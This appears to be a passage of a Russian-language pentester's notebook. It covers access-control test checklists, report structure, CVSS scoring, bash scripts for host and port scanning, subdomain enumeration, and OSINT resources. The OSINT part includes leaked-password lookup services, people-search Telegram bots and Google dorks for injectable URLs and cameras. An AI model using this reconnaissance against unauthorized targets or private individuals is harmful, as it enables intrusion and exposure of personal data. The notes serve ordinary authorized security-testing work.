пользователей. 3\. Проверка 'вертикального повышения привилегий' (Обычный пользователь получает права администратора) - Попробовать вызвать админские функции через API (например, `/admin/deleteUser`). - Подменить роль в токене JWT (`"role":"user"` → `"role":"admin"`) и отправить запрос. - Проверить скрытые кнопки/ссылки в интерфейсе (часто доступны через прямой URL). - Использовать Burp Plugin \*\*AuthMatrix\*\* – строит матрицу ролей и проверяет, что доступ ограничен корректно. 4\. Проверка обхода контроля доступа - Изменить HTTP-метод (`GET` → `POST`, `PUT` → `DELETE`). - Удалить параметры авторизации (cookie, токены) и попробовать доступ. - Использовать кеширующие прокси (nginx/apache misconfig) → проверить, не отдаются ли приватные данные без авторизации. - Попробовать \*\*forced browsing\*\* (доступ к `/admin/` без ссылки). 5\. Проверка для API - Запросить API-эндпоинты без токена → доступен ли ресурс. - Подменить токен одного пользователя → получить доступ к данным другого. - Проверить CORS-настройки (разрешены ли сторонние домены). - Использовать Postman/Insomnia для ручных тестов. 6\. Проверка хранения сессий и токенов - Проверить, что токен \*\*привязан к пользователю и роли\*\*. - Проверить истечение токенов (можно ли использовать старые). - Убедиться, что при смене пароля/выходе из аккаунта токены инвалидируются. 7\. Фиксация результатов Для каждой проверки: \* \*\*URL / endpoint\*\* \* \*\*Метод и параметры\*\* \* \*\*Ожидаемое поведение\*\* (например, отказ в доступе) \* \*\*Фактическое поведение\*\* (например, доступ разрешен) \* \*\*Уровень риска\*\* (High/Medium/Low) \* \*\*Рекомендации\*\* (RBAC, проверка ACL на сервере, строгая валидация ID и токенов) **Практическая реализация** Вот предложенный алгоритм проверки. Однако за этим (на самом деле стартовым) алгоритмом скрываются следующие вопросы: - способ хранения и редактирования данных о сервере - объем требуемых данных - стэк используемых технологий - глубина поиска и формат отчета Разделим на black box и white box. Например есть некий сервер. Начнем с директории с файлами и посмотрим, насколько это будет удобно. 1\. Сбор информации. Определить роли в системе (guest, user, admin, API client). # Отчет по уязвимостям # Общая информация Начало - договор об оказании услуги. В нем указываются юридические, технические, временнЫе, ... рамки и ограничения, ответственность сторон. Часть вышеуказанной информации попадает в отчет. Основа хорошего отчета закладывается перед началом тестирования. Тестирование бывает White box (Организация предоставляет все данные) и Black box (тестирование вслепую). **Оценка уязвимостей и составление отчета** Перед постановкой задачи устранения уязвимости необходимо: 1. Пересчитать критичность уязвимости с учетом "веса" активов и исключений. Добавление исключений должен быть формализован, и включать в себя согласование исключений и регулярный пересмотр. Для пересчета критичности может использоваться фреймворк CVSS. 2. Убедиться, что уязвимость присутствует на самом деле. 3. Определить владельца актива, который будет ответственным за устранение проблемы. Примечание: Результаты отчета по уязвимостям содержат чувствительные данные, поэтому отчет должен храниться в защищенном месте и иметь строго ограниченный доступ только для тех лиц, которым он предназначен. **Типы отчетов** - Технический отчет — предназначен для инженеров, которые будут работать над устранением уязвимостей. Это наиболее исчерпывающий отчет, включающий в себя множество технических данных. Не предназначен для технически не подкованных людей. - Отчет об изменениях — показывает изменения с момента предыдущего скана, например, новые сервисы и уязвимости, которые появились в сети, либо же наоборот, устраненные за наблюдаемый период проблемы. - Отчет о трендах(тенденциях) — показывает изменения уровня рисков и уязвимостей за период времени. Например, отчет может показать, что в этом месяце было обнаружено на 10% больше критичных уязвимостей чем в прошлом. - Высокоуровневый отчет — предоставляет результаты сканирования в сжатой форме, без технических подробностей. Предназначен для менеджмента и нетехнического персонала, часто включает в себя графики и диаграммы. **Внутренние требования** **Шаг 1.** Выбор стандарта оценки уязвимостей. Стандарт CVSS v3 используется для оценки технической серьезности уязвимости. Стандарт OWASP Risk Rating Methodology используется для оценки рисков web приложения для бизнеса. Иногда рекомендуют использовать оба стандарта. **Шаг 2.** Используемая среда / правила оформления / способ хранения информации о найденных уязвимостях. Упоминаются Dradis, CherryTree, OneNote. В правилах оформления определяется набор данных для каждой уязвимости (например дата и время проведения, скриншоты, формат описания последовательности действий). **Вариант структуры.** 1 Всту­питель­ная часть 1.1 Клас­сифика­тор най­ден­ных уяз­вимос­тей 2\. Общее опи­сание про­делан­ной работы 3\. Тех­ничес­кий отчет 4\. Рекомен­дации по устра­нению уяз­вимос­тей **Вступительная часть** Фак­ты, извес­тные исполнителю и заказ­чику до начала работ. К ним отно­сят­ся: дата про­веде­ния пен­теста, методи­ка, которая применя­лась (очень крат­ко), основные эта­пы тес­тирова­ния, перечень сис­тем для тес­тирова­ния и исклю­чения из объ­ема работ, перечень узлов, а так­же методи­ки, которые исполнитель обя­зуется не при­менять (соци­аль­ную инже­нерию или ата­ки на отказ в обслу­жива­нии). **Классификатор уязвимостей** Таб­лица необ­ходима для понимания кри­тери­ев опре­деления кри­тич­ности уяз­вимос­тей, а так­же тот ущерб, который они могут нанес­ти в слу­чае успешной реали­зации. В зак­лючении всту­питель­ной час­ти необходимо описать уточнения договора, акту­ализированные на эта­пе тес­тирова­ния. Нап­ример, просьба обратить осо­бое вни­мание на какой‑то новый сер­вис, который появил­ся за неделю до начала тес­тирова­ния, или, наобо­рот, в пос­ледний момент поп­росил исклю­чить из иссле­дова­ния веб‑при­ложе­ние, уяз­вимос­ти в котором наш­ли сво­ими силами бук­валь­но за день до начала работ и которое собира­ются капиталь­но дорабо­тать преж­де, чем вновь показы­вать поль­зовате­лям. **Общее описание проделанной работы** Этот раз­дел дол­жен содер­жать зна­чимую для руково­дите­лей ком­пании‑заказ­чика информа­цию о про­делан­ной работе и ее резуль­татах. Глав­ные тре­бова­ния, предъ­явля­емые к нему, — понят­ность и крат­кость. Сам отчет может рас­тянуть­ся на десят­ки, если не сот­ни стра­ниц. Руково­дитель не всег­да готов читать докумен­тацию такого объ­ема, и зачас­тую в этом нет необ­ходимос­ти. Глав­ное — понять кри­тичес­ки важ­ные резуль­таты для при­нятия даль­нейших решений. Наша задача в этом раз­деле — зав­ладеть вни­мани­ем читате­ля с любым уров­нем под­готов­ки, опи­сать общую ситу­ацию и сооб­щить о наибо­лее зна­чимых выводах. **Технический отчет** Пред­назна­чен для тех­ничес­ких спе­циалис­тов. В нем мы, как инже­неры, объ­ясня­ем дру­гим тех­ничес­ким спе­циалис­там, что мы наш­ли при тес­тирова­нии и чем это может гро­зить. Вариант - отчет в виде кар­точек по най­ден­ным уяз­вимос­тям с раз­делами:
Крат­кое опи­сание най­ден­ного.Прос­то и дос­тупно опи­сыва­ем, что уда­лось най­ти, что прив­лекло наше вни­мание.
Уро­вень рис­ка.Прос­тавля­ем бал­лы по той шка­ле, о которой говори­лось ранее.
Ука­зание мес­тонахож­дения в сис­теме.Ука­зыва­ем IP-адрес, DNS-имя или что‑то, что однознач­но иден­тифици­рует сис­тему.
Опи­сание инс­тру­мен­тария.Это необя­затель­ный пункт, но он может очень помочь инже­нерам со сто­роны заказ­чика, ког­да они решат вос­про­извести твои дей­ствия.
Ссыл­ка на опи­сание уяз­вимос­ти.Что­бы чрез­мерно не уве­личи­вать раз­меры отче­та, рекомен­дуем сде­лать внеш­ние ссыл­ки на опи­сания уяз­вимос­тей из откры­тых баз зна­ний. Выб­рать мож­но любую, нап­ример cve.mitre.org, cvedetails.com, snyk.io или rapid7.com.
Скрин­шоты и дру­гие под­твержде­ния.Скрин­шоты нуж­но добав­лять толь­ко при усло­вии, что они наг­лядно что‑то объ­ясня­ют.
Ре­комен­дации, как испра­вить уяз­вимость.В этом раз­деле нуж­но при­вес­ти рекомен­дации про­изво­дите­ля уяз­вимого прог­рам­мно­го обес­печения или свои собс­твен­ные. В любом слу­чае ответс­твен­ность за устра­нение уяз­вимос­тей лежит на заказ­чике и толь­ко ему решать, как они будут устра­нены и будут ли.
**СVSS (Common Vulnerability Scoring System)** Открытый стандарт, позволяющий описывать уязвимости. Пример: ``` AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H ``` CVSS состоит из трех групп метрик, которые описывают уязвимость: - Базовая группа. Дает представление об основных характеристиках уязвимости, не меняется со временем (например, уязвимость эксплуатируемая только при локальном доступе). - Временная группа. Описывает характеристики, которые могу меняться со временем (например, наличие рабочего эксплойта). - Переменные среды. Характеристики уязвимости, которые связаны с окружением пользователя. Используются для уточнения итоговой оценки уязвимости на стороне компании. **Базовая группа** В версии CVSS 3.0 сюда входят следующие метрики:
МетрикаОписание
AV (Attack Vector)вектор атаки. Варианты: - N сетевой (Network) - A локальная сеть (Adjacent) - L локальный (Local) - P физический (Physical).
AC (Attack Complexity)сложность атаки. Варианты: - H высокая. необходимо выполнение доп. условий для эксплуатации уязвимости - M средняя - L низкая
PR (Privileges Required)привилегии для эксплуатации уязвимости. Варианты: - N (None, привилегии не нужны), - L (Low, нужны низкие привилегии, например права пользователя) - H (High нужны высокие привилегии)
UI (User Interaction)необходимость пользовательского взаимодействия. Варианты: - N (None, взаимодействие не требуется) - R (Required, требуется)
S (Scope)граница эксплуатации. Показывает, может ли уязвимость повлиять на безопасность другого компонента системы. Варианты: - U (Unchanged, граница не меняется) - C (Changed, меняется) Например, уязвимость побега из контейнера, позволяющая выполнить код на хосте будет иметь свойство S:C.
C (Confidentiality)затрагивает ли уязвимость конфиденциальность информации. Варианты: - H высокий - M средний - L низкий
I (Integrity)затрагивает ли уязвимость целостность информации. Варианты: - H высокий - M средний - L низкий
A (Availability)затрагивает ли уязвимость доступность информации. Варианты: - H высокий - M средний - L низкий
**Временная группа**
МетрикаОписание
E (Exploit Code Maturity)доступность средств эксплуатации. Варианты: - ND/X (Not Defined не определено) - H (High средства доступны или не требуются) - F (Functional средства доступны) - POC/P (Proof-of-Concept есть пример эксплуатации, но он может не работать) - U (Unproven средства недоступны или уязвимость теоретическая)
RL (Remediation Level)уровень исправления. Очень важная для приоритезации метрика. - ND/X (Not Defined информация отсутствует) - U (Unavailable исправление недоступно) - W (Workaround есть неофициальное исправление) - FT/T (Temporary Fix есть официальное, но временное решение) - OF/O (Official Fix официальное исправление уязвимости)
RC (Report Confidence)достоверность отчета. - X (Not Defined не определена) - U (Unknown нет информации) - R (Reasonable известны некоторые детали об уязвимости) - C (Confirmed отчет подтвержден)
**Переменные среды** Данные параметры проставляются аналитиком для корректировки оценки уязвимости. Например, если для компании важна доступность какого-либо актива, то специалист может выставить параметр Availability Requirement (AR) в значение High(H).
МетрикаОписание
CR (Confidentiality Requirement)требования к конфиденциальности. Варианты: - H высокий - M средний - L низкий - ND/X не определены
IR (Integrity Requirement)требования к целостности. Варианты: - H высокий - M средний - L низкий - ND/X не определены
AR (Availability Requirement)требования к доступности. Варианты: - H высокий - M средний - L низкий - ND/X не определены
**Итоговая оценка** После определения метрик по стандарту CVSS рассчитывается итоговая оценка уязвимости, которая считается по шкале от 0 до 10, где 0 — отсутствие уязвимости, а 10 — максимально критичный приоритет. Формула расчета достаточно сложная, проще библиотеками python или [калькулятором](https://www.first.org/cvss/calculator/3.0). **Источники:** [Статья на Хакере](https://xakep.ru/2021/04/28/best-pentest-report/) [CVSS V 3.1 Calculator](https://www.first.org/cvss/calculator/3-1) # Система хранения информации После пробных не-лабораторных задач пришел к выводу о необходимости хранения информации о процессе. Вот вроде все просто и должно было уже давно быть отработано - но не тут-то было. Оказалось несколько иначе. Редакторов крайне много, и выбор сильно усложняется. А если добавить требования например к API - вылетают почти все) Начнем с разделения на удобство создания отчета и удобство хранения технической информации. Потом попробую объединить эти аспекты. **Список редакторов после общего поиска** Рекомендация из статьи по документации: - CherryTree [CherryTree](https://www.giuspen.com/cherrytree/) - OneNote [OneNote](https://www.onenote.com/) - Dradis [Dradis](https://dradisframework.com/) Совместная работа - Nextcloud: [https://nextcloud.com/](https://nextcloud.com/) - Collabora: [https://www.collaboraoffice.com/](https://www.collaboraoffice.com/) - OnlyOffice: [https://www.onlyoffice.com/](https://www.onlyoffice.com/) Еще CryptPad [https://cryptpad.org/](https://cryptpad.org/) для безопасности. Также хранение данных в msf или burp enterprize edition. **Требования** Общие или особенности
НазваниеОписаниеПриоритет
Начальный уровень подготовкиВысокий. Иначе в хакеры не идут.
Многопользовательский режимВариант локального хранения файлов + git вполне может сработать.
Одновременное редактированиеХз. Для блока не встречал необходимость.
Динамическое обновление
Время запуска и настройкиСерьезная проблема.
Время изученияОсновная проблема. Должно быть минимизировано.
Процент выполнения блокаПри большом объеме данных может быть критично.
Дополнительное ПОНа примере msf необходим гибридный подход. Локальное использование должно быть из коробки.
Локальное / браузерПортирование затратная процедура. Но скорость должна быть высокой.
Визуализация отчета onlineВозможно для корпоративных версий.
Редактор
НазваниеОписаниеПриоритет
ШаблоныШаблоны в целом для документа и для блоков.0
Модификация символовМне хватает жирного шрифта и 3 вариантов размера.
Цвета текста и выделения
Списки
Ссылки
Таблицы
Рисунки
Выравнивание текста4 варианта
Интеграции, импорт / экспорт
НазваниеОписаниеПриоритет
Текстовые файлыСамое логичное - одна строка в блок данных (столбец таблицы). Но только данных. Экспорт оформления в txt бессмысленно.0
JSON / XML / ...Сохранение проекта.1
msfВажно, однако здесь есть вопросы.2
Остальные приложенияПо возможности. Однако чем больше - тем выше скорость работы. Хотя небольшой скрипт решит вопрос преобразования данных в нужный формат.2
APIКрайне желательно. Инструменты разные.
Импорт шаблона из wordЗвучит круто, но практически может и не нужно.
Сначала пришел к выводу, что для локальных данных вполне подойдет cherrytree. Однако после целого дня попыток подключить python скрипты выяснилось - уже нельзя. Затем пришел к выводу: возможно, хватит и простого редактора, как в VSC, и скриптов для шаблонизации. Хранить данные в текстовом виде, git через консоль, отчет по стандартным файлам из шаблона при помощи скрипта. Интеграция в этом случае простейшая, В качестве развития - что-то типа msfconsole, но для создания отчета. С одной стороны, сохраняется гибкость в хранении данных (всегда можно добавить отсутствующие блоки в данные). Прямой доступ к данным, txt читаются всеми. Интеграция с любым инструментом, было бы желание. Будут проблемы с общим доступом, однако и это можно обойти за счет периодических коммитов. Красивый отчет из известных путей через скрипт - без проблем, поэтому хватит хранения в виде дерева, итоговые данные в текстовом виде, одна строка - один элемент. Остается вопрос стандартизации хранения. Сравнив ряд редакторов (Kate, Zed, Notepadqq, gedit) пришел к выводу: gedit. Легкий, без проблем в Kali, тестируем! **Gedit** ``` sudo apt install gedit gedit-plugins ``` **Настройка.** В меню Вид нужно включить отображение боковой панели и нижней панели. В разделе Параметры - Модули устанавливаем "Встроенный терминал". После этого появляется возможность быстрого исполнения скриптов или запуска консоли (план на будущее). Из минусов - терминал открывается в домашней папке, в нем тоже нужно перейти в папку проекта. Для боковой панели по умолчанию включен режим Документы. Нужно переключиться в режим Обозреватель файлов, при открытии папки проекта открыть любой файл корня проекта и ПКМ - установить корень на активный документ. # Структура информации при пентесте Общие мысли - Полноценный анализ со связями - сложная задача. - Отчет является подмножеством общей получаемой информации. Не все попадает в отчет. - Автоматизированные средства генерируют тьму ненужной информации, необходимо фильтровать. Нужна точная задача, критерии и входные / выходные форматы данных каждого блока. - Инструменты разные, требуются фильтры для поиска - Комбайн все-в-одном с настройками по умолчанию - херня. Найдет только общие вещи, может зависнуть на левой задаче, чем больше все-в-одном - тем больше времени занимает. Обычно очень громкие. Для нормальной работы требуется настройка. - Открытые инструменты без поддержки исчезают быстро. **DNS**
ЗадачаДля списка доменов сохранить поддомены.
Критерии качестваРазличные ip адреса для поддоменов.
Входные данныеСписок доменных имен. Формат: в каждой строке отдельное доменное имя.
Промежуточные данныеЛоги из разных инструментов.
РезультатСписок для передачи следующим инструментам. Дополнительные параметры - ip адреса, нужен ли в отчете, комментарии
**Структура папок:**
dns/Корневая папка для хранения dns.
dns/list.txtФайл списка доменных имен для поиска.
dns/subdomains\_\*.txtСписок поддоменов.
dns/template.docШаблон отчета.
dns/raw/Папка хранения результатов внешних инструментов. Все \*.txt файлы считаются результатами.
**Задачи консоли:**
dns createСоздать структуру директории и файлы
dns deleteУдалить раздел
Сформировать из сырых файлов непересекающийся список
Скопировать поддомены в список доменов для поиска доменов следующего уровня
dns reportСформировать раздел отчета на основании шаблона
IP # OSINT & ручной поиск адресов # Поиск хостов и открытых портов **Список адресов.** ```bash #!/bin/bash for ip in $(seq 1 254); do echo "172.16.10.${ip}" >> 172-16-10-hosts.txt done ``` ```bash echo 10.1.0.{1..254} | sed 's/ /\n/g' ``` **Поиск хостов.** Доступность IP хостов по ping ```bash #!/bin/bash FILE=$1 while read -r host; do if ping -c 1 -W 1 -w 1 "${host}" &> /dev/null; then echo "${host} is up." fi done < "${FILE}" ``` Через nmap, работает гораздо быстрее. ``` nmap -sn 172.16.10.0/24 | grep "Nmap scan" | awk -F'report for ' '{print $2}' ``` ARP сканирование ``` sudo arp-scan -f 172-16-10-hosts.txt -I br_public | grep '^[0-9]\+\.[0-9]*' | awk '{print $1}' ``` Поиск новых адресов в локальной сети ```bash #!/bin/bash KNOWN_HOSTS='172-16-10-scanning-hosts.txt' NETWORK='172.16.10.0/24' INTERFACE='br_public' while true; do echo "Сканируем сеть ${NETWORK}..." sudo arp-scan -x -I ${INTERFACE} ${NETWORK} | while read -r line; do host=$(echo "${line}" | awk '{print $1}') if ! grep -q "${host}" "${KNOWN_HOSTS}"; then echo "Found new host: ${host}!" echo "${host}" >> "${KNOWN_HOSTS}" source senderscripts/tgsender.sh "Найден хост ${host}!" fi done sleep 10 done ``` Также на странице [NMAP](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/nmap "NMAP") **Сканирование портов** **Nmap** ```bash nmap ip/dns ip/dns ``` По умолчанию: - отправка SYN пакета на порт - Первые 1000 портов - Только TCP соединения
ПараметрЗначение
-iL fileсписок хостов из файла
-sVверсия сервиса на порту
-oG -Информация в формате удобном для парсинга Host: 172.16.10.10 () Ports: 8081/open/tcp//blackice-icecap/// Ignored-state: closed (999) Несколько портов: Host: 172.16.10.11 () Ports: 21/open/tcp//ftp///, 80/open/tcp//http/// Ignored State: closed (998)
--openвыводить только открытые порты
--excludeисключения из списка
Пример вывода: ```bash Nmap scan report for 172.16.10.13 Host is up (0.000031s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0) MAC Address: FA:85:E8:7D:68:EE (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` **RustScan** Работает гораздо быстрее nmap, однако выводит только открытые порты без определения сервиса.
ПараметрЗначение
-a ip/maskАдрес или адрес сети
-gТолько информация по сканированию
-r start-endДиапазон портов -r 1-1024
$ rustscan -g -a 172.16.10.0/24 -r 1-1024 | awk -F'->' '{print $1,$2}' | tr -d '\[\]' **Netcat** Чаще используют для проверки одного порта. ``` nc -zv 172.16.10.11 1-1024 (UNKNOWN) [172.16.10.11] 80 (http) open (UNKNOWN) [172.16.10.11] 21 (ftp) open ``` -z только вывод результатов, **Metasploit** Поиск сканеров: ``` msf > search portscan ```
auxiliary/scanner/portscan/tcp
auxiliary/scanner/discovery/udp\_sweep
auxiliary/scanner/ftp/ftp\_loginНужно указать словарь подбора.
auxiliary/scanner/ftp/anonymousПоиск открытого доступа
Также для samba
**Организация хранения результатов сканирования** Можно сохранять данные для каждого IP в отдельном файле или в зависимости от версии программ. Пример для каждого открытого порта свой файл со списком адресов. ```bash #!/bin/bash HOSTS="172-16-10-scanning-hosts.txt" nmap -iL ${HOSTS} --open -oG - | grep Ports: | while read -r line; do curip=$(echo $line | awk {'print $2'}) echo $line | grep -oP '( \d+)(?=/)' | while read -r curport; do echo $curip >> port-${curport}.txt done done ``` # Поиск доменных имен **Активный поиск** Запросы к DNS-cервису организации **1. Опрос DNS сервиса** на известные ему записи раскрывающие доменные имена, связанные с доменом 2-го уровня. Т.е. выполнение запросов к таким DNS записям, как: CNAME, MX, NS, SRV и т.д. [Подробнее](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%BF%D1%8B_%D1%80%D0%B5%D1%81%D1%83%D1%80%D1%81%D0%BD%D1%8B%D1%85_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D0%B5%D0%B9_DNS) A – используется для указания доменного имени, например, testdomain.com, на IP-адрес его хост-сервера; MX – записи, отвечающие за обмен электронной почтой; NS – предназначены для идентификации DNS-серверов, ответственных за домен; SRV – записи для выделения службы, размещенной на определенных серверах; PTR – обратный поиск DNS: с помощью IP вы можете получить связанный с ним домен; SOA – начало записи: это информация о зоне DNS и других записях DNS; CNAME – сопоставляет целевое доменное имя с другим доменным именем. Чтобы получить записи всех типов можно использовать тип запроса ANY ```bash ┌──(kali㉿kali)-[~] └─$ nslookup -q=ANY cyber-ed.ru 8.8.8.8 Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: cyber-ed.ru Address: 178.154.245.151 cyber-ed.ru nameserver = ns2.reg.ru. cyber-ed.ru nameserver = ns1.reg.ru. Authoritative answers can be found from: ┌──(kali㉿kali)-[~] └─$ nslookup -q=ANY cyber-ed.ru ns1.reg.ru Server: ns1.reg.ru Address: 194.58.117.17#53 Name: cyber-ed.ru Address: 178.154.245.151 ``` **2. Перебор доменных имен**. Делаем или используем готовый список возможных поддоменов и опрашиваем DNS сервис в формате *слово.example.com*. Есть списки часто используемых поддоменов. Называются gists. В Kali они есть по /usr/share/wordlists/amass/bitquark\_subdomains\_top100K.txt Или можно в google "subdomain wordlist site:gist.github.com". ```bash #!/bin/bash DOMAIN=$1 FILE=$2 while read -r subdomain; do echo "${subdomain}.${DOMAIN}" done < "${FILE}" > ${DOMAIN}.txt ``` Пример использования утилиты [subfinder](https://github.com/projectdiscovery/subfinder) со стандартным словарем для перебора доменных имен: ``` subfinder -d cyber-ed.ru ``` В kali они называются gists. Есть скрипт в [Black hat bash](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/black-hat-bash "Black hat bash") Последняя версия через docker: ``` docker run projectdiscovery/subfinder:latest -d cyber-ed.ru ``` **3. Выполнение запроса AXFR**. AXFR запрос, или Zone transfer — это процесс передачи копии базы данных с DNS-зоной от главного сервера к вторичному. В идеале трансфер зоны ограничен только для определенных доверенных серверов, но неправильно сконфигурированные серверы разрешают трансферы любому, кто их попросит. Пример выполнения такого запроса: `nslookup -q=AXFR example.com` (зачастую требует указания конкретного DNS-сервера, к которому будет отправлен запрос). ``` ─$ nslookup -q=AXFR cyber-ed.ru ns1.reg.ru Server: ns1.reg.ru Address: 176.99.13.15#53 ** server can't find cyber-ed.ru: NOTAUTH ; Transfer failed. ``` **4. amass** ``` amass enum -d ``` Текущая 4 версия. Работает архидолго, находит не так чтобы много. Но может найти что-то интересное. Формат вывода: ```bash test.cyber-ed.ru (FQDN) --> a_record --> 185.215.4.43 (IPAddress) infra.cyber-ed.ru (FQDN) --> a_record --> 84.54.44.31 (IPAddress) 84.201.128.0/18 (Netblock) --> contains --> 84.201.134.36 (IPAddress) 84.54.44.0/23 (Netblock) --> contains --> 84.54.44.31 (IPAddress) 200350 (ASN) --> managed_by --> AS200350 - Yandex.Cloud LLC (RIROrganization) ``` amass v3 Работает быстрее, доступен через docker ``` docker run caffix/amass:v3 enum -d ``` Для amass v3 ключ -passive запрещает искать ip адреса. Ключи amass v3 и v4 сильно отличаются. **5. The Harvester** -b указывается источник данных (sitedossier, duckduckgo -d домен ```python #!/usr/bin/python import sys import os if len(sys.argv) < 2: sys.exit(-1) providers = [ 'duckduckgo', 'bing', 'baidu', 'dnsdumpster', 'hunter', 'sitedossier' ] for a in providers: cmd = 'theHarvester -d {0} -b {1} -f {2}.html'.format(sys.argv[1], a, a) os.system(cmd) ``` **6. Другие инструменты:** - [Sublist3r](https://github.com/aboul3la/Sublist3r) — OSINT инструмент поиска поддоменов - [assetfinder](https://github.com/tomnomnom/assetfinder) — пассивный сканер поддоменов на Go - Также страница [Shodan.io, Google](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/shodanio-google "Shodan.io, Google") **Пассивный поиск** Использование служб и сайтов, которые произвели активный поиск за нас или агрегировали известную информацию среди открытых источников. Примеры: - dnsdumpster.com - shodan.io - censys.io - crt.sh - pentest-tools.com **Объединение данных из разных источников** Нужно преобразовать выходную информацию к одному формату и сделать итоговый список имен. Задача: сохранить файлы из разных источников по одному шаблону и создать итоговый файл (включая вручную созданные из web ресурсов файлы). Шаблон создаваемых файлов: domain\_tool.txt (например bobrobotirk.ru\_subfinder.txt). Часть скрипта по объединению файлов: ```bash #!/bin/bash DOMAIN=$1 OUTPUT_FILE="$DOMAIN/subdomains_merged.txt" mkdir -p $DOMAIN #вызов инструментов cat "$DOMAIN/${DOMAIN}_"*.txt | sort | uniq > "$OUTPUT_FILE" ``` Осталось в часть *\#вызов инструментов* добавить конкретные инструменты. **Описание nslookup**
-type=TEXTзаписи определенного типа
Перебор DNS записей из списка доменных имен # OSINT OSINT (Open Source Intelligence) — это методология сбора, анализа и использования открытой информации из различных источников для получения разведывательных данных или информации, полезной для принятия решений. [Дополнительные ссылки](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/poisk-email-osint "Поиск email & OSINT") Открытые источники информации могут включать в себя интернет-ресурсы, социальные сети, газеты, журналы, телевидение, радио, публичные базы данных и другие источники, которые не требуют специальных разрешений или привилегий для доступа к ним. Конечная цель сбора информации — получить как можно больше данных, относящихся к целевой компании. Интересные сервисы для пассивного поиска:
https://dnsdumpster.com/По доменному имени существующие сервисы, доменные имена
https://crt.sh/Информация о выпущенных сертификатах. Могут содержаться данные о пользователях.
Активные инструменты
amass enum -d <host>[Man по amass](https://kali.tools/?p=4325) Информация по доменному имени, портах, хостах
https://osintframework.com/Агрегация всех популярных инструментов и ресурсов для OSINT
https://github.com/jivoi/awesome-osintАгрегация всех популярных статей, исследований, кейсов и инструментов в OSINT
https://habr.com/ru/companies/tensor/articles/706656/Интересная статья
**Поиск связанных доменных имен** **Whois** – это протокол поиска информации о зарегистрированных доменных именах, IP-адресах и автономных системах. **СПАРК** ([https://spark-interfax.ru/](https://spark-interfax.ru/)) – это система, собирающая всю доступную информацию о компаниях и извлекая из нее знания, помогает получать подробную информацию о бизнесе организаций и о привязанных к нему информационных активах, сайтах и доменных именах. **RIPE** (Réseaux IP Européens) – это некоммерческая организация, которая занимается управлением и распределением ресурсов IP-адресации и автономных систем в странах Европы, Ближнего Востока и Центральной Азии. На сайте [https://apps.db.ripe.net/db-web-ui/fulltextsearch](https://apps.db.ripe.net/db-web-ui/fulltextsearch) можно найти различные данные (включая доменные имена), связанные с владельцем выделенных ему сегментов IP-адресов.
АдресКлюч поискаПрайсКомментарииAPI
dehashed.com Да
emailrep.ioemail0$ 250 запросов/месяц 10/день До 1000$ 50000/месяцПроверка почты на доверенность. участия в форумах дата первого и последнего слива Наличие в спам-базахДа
haveibeenpwned.comemail0 web ui 4.5 10 email/min api ... 3912 12000 email/minФакт наличия данного адреса в утечках. Если присутствует, то указывается дата, детали утечки и данные, которые утекли.Да
leakcheck.netemail username phone2.99$/сутки 15 почт/сутки 9.99$/мес 200 /сутки 15 ключевых слов/сутки 69.99$/навсегда 400 /сутки 30 ключевых слов / сутки от 179$/3 мес. Массовая проверкаСлитые пароли, мониторинг (ожидание)Да
intelx.ioemail ip domain username phone btc address0 web ui 2-20000 apiПоиск по сливам. Да
lampyre.ioemail ip domain username phone5/once 30 photons 8/month 100 photons 232/month 3 devices, 1500 photonsБольшая база.Да
tg @Smart\_SearchBot Не нашел. Разная50/сутки 100/неделя 200/месяц 1800/годНесколько устаревшаяНет
tg @Mervervar\_Bot ссылается на @Iakskvfmdbot phone фио ... Работает за создание бота (отправить ключ от своего бота туда). Но часть инфы можно получить. Затем платно. От 5 до 15 центов/запрос. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-11/scaled-1680-/sg8image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-11/sg8image.png) Пример отчета: 📱 ├ Телефон: ├ Оператор: ├ Регион: └ Страна: 👤 Основные данные ├ ФИО: ├ Дата рождения: └ Возраст: 🔎 Телефонные книги: Текст из тел. контактов, интересно как получают. Одноклассники: 👩‍🦲 TikTok: 🏦 Мобильный банк: 💬 Telegram: 📧 E-mail: 👁 Интересовались этим: Зависит от представленности в интернете
tg @mailsearchbot Заблокирован email username phone Пароли, ссылка на leackcheck, выдает неполные, для оценки количестваНет
tg passwordld Не нашел email Пароли, меньше базаНет
canarytoken ([https://canarytokens.org/nest/](https://canarytokens.org/nest/)) - ответное уведомление # Shodan.io, Google **Shodan.io** Требует регистрации, платный сервис. Позволяет фильтровать поиск по:
**ФИЛЬТР ПОИСКА****ОПИСАНИЕ****ПРИМЕР**
PortНомера портовPort:80
ProductИмя продуктаProduct: "Apache"
OrgНазвание организации. На латинице.Org: "Target company name."
Country Двухбуквенное обозначение страныCountry:RU
CityГородCity:Montreal
hostnameДоменное имяHostname: "domain-name.com"
osОперационная системаos: "Linux"
httpȨtitleЗаголовок веб-страницыhttp.title:"Dashboard"
И еще порядка 50 параметров. Пример карточки объекта: [![изображение.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/OuXizobrazenie.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/OuXizobrazenie.png) **Google** Этот способ использования google называют Google Dorks. Генерация запросов dorks через ИИ [https://www.dorkgpt.com/](https://www.dorkgpt.com/)
site:github.com ключевые\_словаСлова на сайте. Много на github.
inurl:\[критерий\]Поиск текста внутри URL. Поиск возможных мест SQL-инъекций на сайте: site:\[домен\] inurl:?id=
intitle:\[критерий\]Поиск текста внутри заголовка веб-страницы. Поиск видеокамер: intitle:"index of" "cctv"
filetype:\[расширение файла\]Поиск файлов по их расширениям. Поиск файлов, связанных с доменом, который является вашей целью: Site:\[домен\] filetype:"xls | xlsx | doc | docx | ppt | pptx | pdf"
intext:Слова должны быть в теле страницы. intext:"Ошибка базы данных"
cache:Показывает сохраненную в кеше Google версию страницы. cache:bobrobotirk.ru
define:Быстрое определение термина. define:SQL injection.
link:Показывает (не все) сайты, которые ссылаются на указанный URL.
